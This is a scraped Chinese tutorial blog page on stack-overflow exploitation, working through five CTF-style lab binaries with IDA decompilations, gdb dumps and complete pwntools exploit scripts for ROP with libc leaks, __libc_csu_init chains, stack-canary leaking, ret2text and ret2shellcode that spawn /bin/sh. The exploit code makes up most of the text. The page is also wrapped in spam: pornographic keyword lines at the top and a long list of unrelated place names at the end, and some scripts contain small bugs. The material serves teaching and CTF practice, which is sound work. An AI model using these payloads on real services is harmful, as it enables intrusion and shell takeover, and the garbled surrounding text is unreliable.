五月天青色头像情侣网名,国产亚洲av片在线观看18女人,黑人巨茎大战俄罗斯美女,扒下她的小内裤打屁股

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

二進制安全之棧溢出(中)

2020-04-16 14:13 作者:匯智知了堂  | 我要投稿

棧劫持

整形溢出

實驗

調(diào)試

程序一 :rop鏈 & _libc_csu_init

ROP

  • IDA靜態(tài)分析

int __cdecl main(int argc, const char **argv, const char **envp) { ?vulnerable_function(*(_QWORD *)&argc, argv, envp); ?return write(1, "Hello, World!\n", 0xEuLL); } ssize_t vulnerable_function() { ?char buf; // [rsp+0h] [rbp-80h] 說明buf到rbp有0x80字節(jié)。即buf[0x80] ?write(1, "Input:\n", 7uLL); ?return read(0, &buf, 0x200uLL); //從標(biāo)準(zhǔn)控制臺向buf讀入0x200 }


攻擊腳本

from pwn import * context.arch = "amd64" context.log_level = "debug" context.terminal=["tmux","splitw","-h"] if len(sys.argv) < 2: debug=True else: debug=False if debug: p = process("./level3_x64") elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") else: p = remote("x.x.x.x",xxxx) elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") def debugf(): gdb.attach(p,"b *0x400602") #debugf() padding = 0x80 * "a" padding_rbp = "junkjunk" write_plt = elf.plt["write"] write_got = elf.got["write"] ? ? # target : write(1,write_got,8) pop_rdi_ret = 0x4006b3 pop_rsi_r15_ret = 0x4006b1 main_addr = 0x40061A payload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr) p.sendafter("Input:\n",payload) addr = u64(p.recv(6).ljust(8,"\x00")) libc.address = addr - libc.symbols["write"] binsh = libc.search("/bin/sh").next() system = libc.symbols["system"] payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system) p.sendafter("Input:\n",payload) p.interactive()

思路

泄露system在libc中的地址 通過write函數(shù)泄露system的地址 先通過plt中的wrtite jump到got中的write函數(shù)的地址,然后通過offset計算libc的基址,然后泄露system的地址 可以將第一個return的內(nèi)容覆蓋為plt["write"]的地址 即write(1,write_got,8) 調(diào)用write_got,打印8個字節(jié)到屏幕上 尋找rop鏈 rdi_pop_rsi_pop_rdx_ret,保存write函數(shù)的參數(shù)與返回地址 64位程序的參數(shù)壓棧順序rdi,rsi,rdx,rcx,r8,r9 ? ?level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret' Gadgets information ============================================================ 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b0 : pop r14 ; pop r15 ; ret 0x00000000004006b2 : pop r15 ; ret 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400550 : pop rbp ; ret 0x00000000004006b3 : pop rdi ; ret 0x00000000004006b1 : pop rsi ; pop r15 ; ret 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400499 : ret 由于在rop鏈中沒有發(fā)現(xiàn)rdx,暫時不去使用rdx,因為rdx中本來就可能含有大于8的數(shù),因此對我們而言傳參與否意義不大,只是成功率的問題,直接返回到main_addr即可 .text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp) .text:000000000040061A ? ? ? ? ? ? ? ? public main .text:000000000040061A main ? ? ? ? ? ?proc near ? ? ? ? ? ? ? ; DATA XREF: _start+1D↑o


libc_csu_init

  • 解決rop鏈中無rdx的思路

a. 調(diào)用libc_csu_init b. libc_csu_init有rdx c. 在libc_csu_init循環(huán)構(gòu)造payload

libc_csu_init的內(nèi)存布局

.text:0000000000400650 __libc_csu_init proc near ? ? ? ? ? ? ? ; DATA XREF: _start+16↑o .text:0000000000400650 ; __unwind { .text:0000000000400690 .text:0000000000400690 loc_400690: ? ? ? ? ? ? ? ? ? ? ? ? ? ? ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400690 ? ? ? ? ? ? ? ? mov ? ? rdx, r13 // 4. 將r13給到了rdx .text:0000000000400693 ? ? ? ? ? ? ? ? mov ? ? rsi, r14 // 5. 控制rsi .text:0000000000400696 ? ? ? ? ? ? ? ? mov ? ? edi, r15d // 6. 控制rdi的低四位,注意這里不能存放下6字節(jié)的/bin/sh .text:0000000000400699 ? ? ? ? ? ? ? ? call ? ?qword ptr [r12+rbx*8] ;7. 給rbx賦0,相當(dāng)于call [r12], ; 將system的地址寫入其中bss中,將bss_addr寫入其中 .text:000000000040069D ? ? ? ? ? ? ? ? add ? ? rbx, 1 .text:00000000004006A1 ? ? ? ? ? ? ? ? cmp ? ? rbx, rbp ?//9. 使rbp=1,跳過jnz .text:00000000004006A4 ? ? ? ? ? ? ? ? jnz ? ? short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ? ? ? ? ? ? ? ? ? ? ? ? ? ? ; CODE XREF: __libc_csu_init+36↑j .text:00000000004006A6 ? ? ? ? ? ? ? ? add ? ? rsp, 8 .text:00000000004006AA ? ? ? ? ? ? ? ? pop ? ? rbx //1. 控制函數(shù)從這里執(zhí)行 .text:00000000004006AB ? ? ? ? ? ? ? ? pop ? ? rbp .text:00000000004006AC ? ? ? ? ? ? ? ? pop ? ? r12 //8. 給r12添一個main_addr .text:00000000004006AE ? ? ? ? ? ? ? ? pop ? ? r13 //2. 通過??刂苧13 .text:00000000004006B0 ? ? ? ? ? ? ? ? pop ? ? r14 .text:00000000004006B2 ? ? ? ? ? ? ? ? pop ? ? r15 .text:00000000004006B4 ? ? ? ? ? ? ? ? retn //3. ret到main_addr .text:00000000004006B4 ; } // starts at 400650 .text:00000000004006B4 __libc_csu_init endp //實現(xiàn)通過棧控制rdx

空閑的bss段

.bss:0000000000600A89 ? ? ? ? ? ? ? ? db ? ?? ; 向其中寫入system的地址,call [r12] ,將r12改為0x600A89 .bss:0000000000600A8A ? ? ? ? ? ? ? ? db ? ?? ; .bss:0000000000600A8B ? ? ? ? ? ? ? ? db ? ?? ;

坑點

call qword ptr [r12+rbx*8] ;寄存器間接尋址,需要把system的地址寫入bss mov edi, r15d ;只能存放4個字節(jié),存放不了/bin/sh

_libc_csu_init攻擊腳本實現(xiàn)

from pwn import * context.arch = "amd64" context.log_level = "debug" context.terminal=["tmux","splitw","-h"] if len(sys.argv) < 2: debug=True else: debug=False if debug: p = process("./level3_x64") elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") else: p = remote("x.x.x.x",xxxx) elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") def lib_csu_init(ret_address,call,p1,p2,p3): pop_ret7 = 0x4006AA libc_csu_init_addr = 0x400690 payload = 0x80*'a' + p64(0) # padding_ebp payload+= p64(pop_ret7) payload+= p64(0) + p64(1) + p64(call) #rbx rbp r12 payload+= p64(p3) + p64(p2) + p64(p1) ? #r13 r14 r15 payload+= p64(libc_csu_init_addr) #ret payload+= p64(0)*7 #clear rsp rbx rbp r12 ?r13 r14 r15 payload+= p64(ret_address) p.sendafter("Input:\n",payload) def debugf(): gdb.attach(p,"b *0x400602") #debugf() write_plt = elf.plt["write"] write_got = elf.got["write"] ? ? read_got = elf.got["read"] ? main_addr = 0x40061A bss_addr = 0x600A89 lib_csu_init(main_addr,write_got,1,write_got,0x8) write_addr = u64(p.recv(8)) log.success("write_addr:" + hex(write_addr)) libc.address = write_addr - libc.symbols["write"] log.success("libc.address:" + hex(libc.address)) lib_csu_init(main_addr,read_got,0,bss_addr,16) # 16 is the param of read # read system to bss_addr and write "/bin/sh to bss_addr+8" #binsh = libc.search("/bin/sh").next() not need anymore system = libc.symbols["system"] p.send(p64(system)+"/bin/sh\x00") #lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0) p.interactive()


  • 調(diào)試

  1. 設(shè)置斷點到* 0x4006AA



  1. 第一次循環(huán)結(jié)束后





  1. 返回到main



  1. 打印libc的地址



  1. 查看bss_addr的內(nèi)容

程序二 :canary

  • IDA靜態(tài)分析

int __cdecl main(int argc, const char **argv, const char **envp) { ?init(); ?puts("Hello Hacker!"); ?vuln(); ?return 0; } unsigned int vuln() { ?signed int i; // [esp+4h] [ebp-74h] ?char buf; // [esp+8h] [ebp-70h] ?unsigned int v3; // [esp+6Ch] [ebp-Ch] ?v3 = __readgsdword(0x14u); //從fs:28h讀取canary到棧 ?for ( i = 0; i <= 1; ++i ) ?{ ? ?read(0, &buf, 0x200u); ?//溢出點 ? ?printf(&buf); //如果沒有printf,可以通過_dl_runtime_resolv泄露canary ?} ?return __readgsdword(0x14u) ^ v3; //異或棧中的canary與內(nèi)核中的md5 }

利用方法

在ebp – 0x0c的地址覆蓋為canary值 泄露canary的值

攻擊腳本

from pwn import * p = process("./leak_canary") get_shell = 0x0804859B p.recvuntil("Hello Hacker!\n") offset = 0x70-0xC # 到達(dá)canary的偏移地址 payload = (offset)*"a" + "b" # 覆蓋掉canary的最后的"\0"字節(jié),這時就可以打印出canary了 p.send(payload) p.recvuntil("ab") ?#在canary之前截斷,在沒有printf,可以通過_dl_runtime_resolv泄露canary canary = u32(p.recv(3).rjust(4,"\x00")) #接收三字節(jié)的canary,并用0將第四個字節(jié)補齊 log.success("canary:"+hex(canary)) ? payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell) # 最終payload p.send(payload2) p.interactive()

程序三 :canary(不需繞過)

  • IDA靜態(tài)分析

int __cdecl main(int argc, const char **argv, const char **envp) { ?int v3; // eax ?unsigned int v5; // [esp+18h] [ebp-90h] ?unsigned int v6; // [esp+1Ch] [ebp-8Ch] ?int v7; // [esp+20h] [ebp-88h] ?unsigned int j; // [esp+24h] [ebp-84h] ?int v9; // [esp+28h] [ebp-80h] ?unsigned int i; // [esp+2Ch] [ebp-7Ch] ?unsigned int k; // [esp+30h] [ebp-78h] ?unsigned int l; // [esp+34h] [ebp-74h] ?char v13[100]; // [esp+38h] [ebp-70h] ?unsigned int v14; // [esp+9Ch] [ebp-Ch] ?v14 = __readgsdword(0x14u); ?setvbuf(stdin, 0, 2, 0); ?setvbuf(stdout, 0, 2, 0); ?v9 = 0; ?puts("***********************************************************"); ?puts("* ? ? ? ? ? ? ? ? ? ? ?An easy calc ? ? ? ? ? ? ? ? ? ? ? *"); ?puts("*Give me your numbers and I will return to you an average *"); ?puts("*(0 <= x < 256) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *"); ?puts("***********************************************************"); ?puts("How many numbers you have:"); ?__isoc99_scanf("%d", &v5); ?puts("Give me your numbers"); ?for ( i = 0; i < v5 && (signed int)i <= 99; ++i ) ?{ ? ?__isoc99_scanf("%d", &v7); ? ?v13[i] = v7; ?} ?for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) ) ?{ ? ?while ( 1 ) ? ?{ ? ? ?while ( 1 ) ? ? ?{ ? ? ? ?while ( 1 ) ? ? ? ?{ ? ? ? ? ?puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit"); ? ? ? ? ?__isoc99_scanf("%d", &v6); ? ? ? ? ?if ( v6 != 2 ) ? ? ? ? ? ?break; ? ? ? ? ?puts("Give me your number"); ? ? ? ? ?__isoc99_scanf("%d", &v7); ? ? ? ? ?if ( j <= 0x63 ) ? ? ? ? ?{ ? ? ? ? ? ?v3 = j++; ? ? ? ? ? ?v13[v3] = v7; ? ? ? ? ?} ? ? ? ?} ? ? ? ?if ( v6 > 2 ) ? ? ? ? ?break; ? ? ? ?if ( v6 != 1 ) ? ? ? ? ?return 0; ? ? ? ?puts("id\t\tnumber"); ? ? ? ?for ( k = 0; k < j; ++k ) ? ? ? ? ?printf("%d\t\t%d\n", k, v13[k]); ? ? ?} ? ? ?if ( v6 != 3 ) ? ? ? ?break; ? ? ?puts("which number to change:"); ? ? ?__isoc99_scanf("%d", &v5); //v5是序號,無大小限制,造成漏洞點 ? ? ?puts("new number:"); ? ? ?__isoc99_scanf("%d", &v7); ? ? ? ?v13[v5] = v7; ? ?} ? ?if ( v6 != 4 ) ? ? ?break; ? ?v9 = 0; ? ?for ( l = 0; l < j; ++l ) ? ? ?v9 += v13[l]; ?} ?return 0; }

利用原理

v5無大小限制,形成漏洞點 可以看到 char v13[100]; // [esp+38h] [ebp-70h],當(dāng)v5 = 28的時候,28*4=102=0×70,第29個字節(jié)就是EBP,第30個字節(jié)就是ret。 控制輸入v7的內(nèi)容和長度,實現(xiàn)ret的精準(zhǔn)覆蓋。 因此這道題不需要繞過canary。

程序四 :ret2text

  • IDA靜態(tài)分析

int __cdecl main(int argc, const char **argv, const char **envp) { ?char s; // [esp+1Ch] [ebp-64h] padding=0x64+0x8 ?setvbuf(stdout, 0, 2, 0); ?setvbuf(_bss_start, 0, 1, 0); ?puts("There is something amazing here, do you know anything?"); ?gets(&s); //溢出點 ?printf("Maybe I will tell you next time !"); ?return 0; } void secure() //函數(shù)模板庫,CTRL+E查看 { ?unsigned int v0; // eax ?int input; // [esp+18h] [ebp-10h] ?int secretcode; // [esp+1Ch] [ebp-Ch] ?v0 = time(0); ?srand(v0); ?secretcode = rand(); ?__isoc99_scanf((const char *)&unk_8048760, &input); ?if ( input == secretcode ) ? ?system("/bin/sh"); //wonderful,理想的返回地址 }

利用原理

找到溢出點:gets(&s) 判斷填充長度 : s到ebp的大小加4字節(jié)ebp,即 0×64 – 0x1c + 0×4 判斷ebp和esp尋址的小技巧:在IDA的變量s處雙擊,能進入到反匯編窗口即esp尋址

gdb調(diào)試

checksec

Arch: ? ? i386-32-little ? ?RELRO: ? ?Partial RELRO ? ?Stack: ? ?No canary found ? ?NX: ? ? ? NX enabled ? ?PIE: ? ? ?No PIE (0x8048000) // 可以看到?jīng)]有開啟ALSR和PIE,這時我們下斷點的時候不用考慮地址隨機化

設(shè)置斷點到s

.text:080486AB mov [esp], eax ; s 在IDA中靜態(tài)查看s的地址,取其偏移地址080486AB 在gdb中 b *0x080486AB 即可

計算填充長度

EAX ?0xffffce8c —? 0x8048329 ?— 0x696c5f5f /* '__libc_start_main' */ EBX ?0x0 ECX ?0xffffffff EDX ?0xf7fb8870 (_IO_stdfile_1_lock) ?— 0x0 EDI ?0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1b1db0 ESI ?0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1b1db0 EBP ?0xffffcef8 ?— 0x0 ESP ?0xffffce70 —? 0x804876c ?— 0x72656854 /* 'There is something amazing here, do you know anything?' /* EDX接收s 填充長度為EBP-EAX = 0x6c */

覆寫返回地址到system("/bin/sh");

a. 使用IDA查看bin/sh的地址 .text:0804863A ? ? ? ? ? ? ? ? mov ? ? dword ptr [esp], offset command ; "/bin/sh" .text:08048641 ? ? ? ? ? ? ? ? call ? ?_system

攻擊腳本

from pwn import * context.log_level = "debug" ? # context預(yù)設(shè)環(huán)境 context.arch = "i386" context.terminal = ["tmux","splitw","-h"] ?# tmux ? 垂直分屏 if len(sys.argv) < 2: debug = True else: debug = False if debug: p = process("./ret2text") ? # process表示當(dāng)前程序的發(fā)送和接收(交互) elf = ELF("./ret2text") ? # ELF載入當(dāng)前程序的ELF,以獲取符號表,代碼段,段地址,plt,got信息 libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') # 載入libc的庫,可以通過vmmap查看 else: p = remote("x.x.x.x",1088) elf = ELF("./ret2text") ? libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') def debugf(): gdb.attach(p,"b *0x80486AB") debugf() padding = (0x64+8)*a ebp_padding = "aaaa" system_addr = 0x0804863A payload = padding + ebp_padding + p32(system_addr) p.sendlineafter("do you know anything?\n",payload) #需要加"\n",因為puts在程序最后加"\n" p.interactive() # 接收shell

程序五 :ret2shellcode

  • IDA靜態(tài)分析

int __cdecl main(int argc, const char **argv, const char **envp) { ?char s; // [esp+1Ch] [ebp-64h] ?setvbuf(stdout, 0, 2, 0); ?setvbuf(stdin, 0, 1, 0); ?puts("No system for you this time !!!"); ?gets(&s); ?strncpy(buf2, &s, 0x64u); ?printf("bye bye ~"); ?return 0; }

設(shè)置斷點

.text:08048590 ? ? ? ? ? ? ? ? mov ? ? [esp], eax ? ? ?; s 設(shè)置到斷點gets之前 .text:08048593 ? ? ? ? ? ? ? ? call ? ?_gets

溢出地址

.bss:0804A080 buf2 ? ? ? ? ? ?db 64h dup(?) ? ? ? ? ? ; DATA XREF: main+7B↑o

攻擊腳本

#!/usr/bin/env python from pwn import * context.arch ="i386" context.log_level = "debug" context.terminal = ["tmux","splitw","-h"] if len(sys.argv < 2): debug = True else: debug = False if debug: p = process('./ret2shellcode') elf = ELF('./ret2shellcode') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') else: p = remote('xx.xx.xx.xx',1111) elf = ELF('./ret2shellcode') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') def debugf(): gdb.attach(p,"b *08048590") debugf() #padding = 0x64+8 #padding_ebp = 0x4 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(0x6c,"a") + "junk" buf2_addr = 0x804a080 payload += p32(buf2_addr) p.sendlineafter("No system for you this time !!!\n",payload) p.interactive()

流程

64字節(jié)shelllcode覆蓋s 填充8字節(jié)到達(dá)main函數(shù)的ebp “junk”覆蓋掉rbp的內(nèi)容 將return的內(nèi)容覆蓋為buf2的地址字節(jié)流:p32(buf2_addr)

注意點

buf2位于bss段,如果程序開啟了pie,是不能通過ida讀取的。 ljust函數(shù)用于補充指定大小的字節(jié) asm(shellcraft.sh())用于自動生成shellcode 手寫shellcode shellcode = asm( "mov ebp,esp" "push ebp" "mov eax,08808188a" ;向0x08808188a傳入一個bin/sh "mov [esp],eax" "call system" )

調(diào)試

finish到main函數(shù) buf的內(nèi)存布局 EAX ?0x804a080 (buf2) ?— 0x2f68686a 0x80485af <main+130> ? ?call ? strncpy@plt <0x8048420> 00:0000│ esp ?0xff906df0 —? 0x804a080 (buf2) ?— 0x2f68686a x/20gz 0x804a080 0x804a080 <buf2>: ? ? ? 0x68732f2f2f68686a ? ? ?0x0168e3896e69622f 0x804a090 <buf2+16>: ? ?0x6972243481010101 ? ? ?0x59046a51c9310101 返回地址 0x80485c6 <main+153> ? ?ret ? ? ? <0x804a080; buf2> ==>可以看到將main返回地址覆蓋成了buf2的地址 shellcode 00:0000│ esp ?0xff906e74 ?— '/bin///sh' 01:0004│ ? ? ?0xff906e70 ?— 0x6873 /* 'sh' */ 0x804a0aa <buf2+42> ? ?int ? ?0x80 ?==> 此時中斷退出

二進制安全之棧溢出(中)的評論 (共 條)

分享到微博請遵守國家法律
贡嘎县| 昭通市| 吉水县| 惠州市| 铁岭市| 遂宁市| 垫江县| 文昌市| 北流市| 即墨市| 民权县| 清原| 淳化县| 峨眉山市| 监利县| 临江市| 铁岭县| 桃江县| 朝阳市| 嘉鱼县| 高阳县| 甘孜县| 广元市| 海门市| 绿春县| 江川县| 富阳市| 灵宝市| 色达县| 盱眙县| 突泉县| 陇南市| 涞源县| 太仓市| 西和县| 宁波市| 昭觉县| 墨脱县| 乐陵市| 胶南市| 治多县|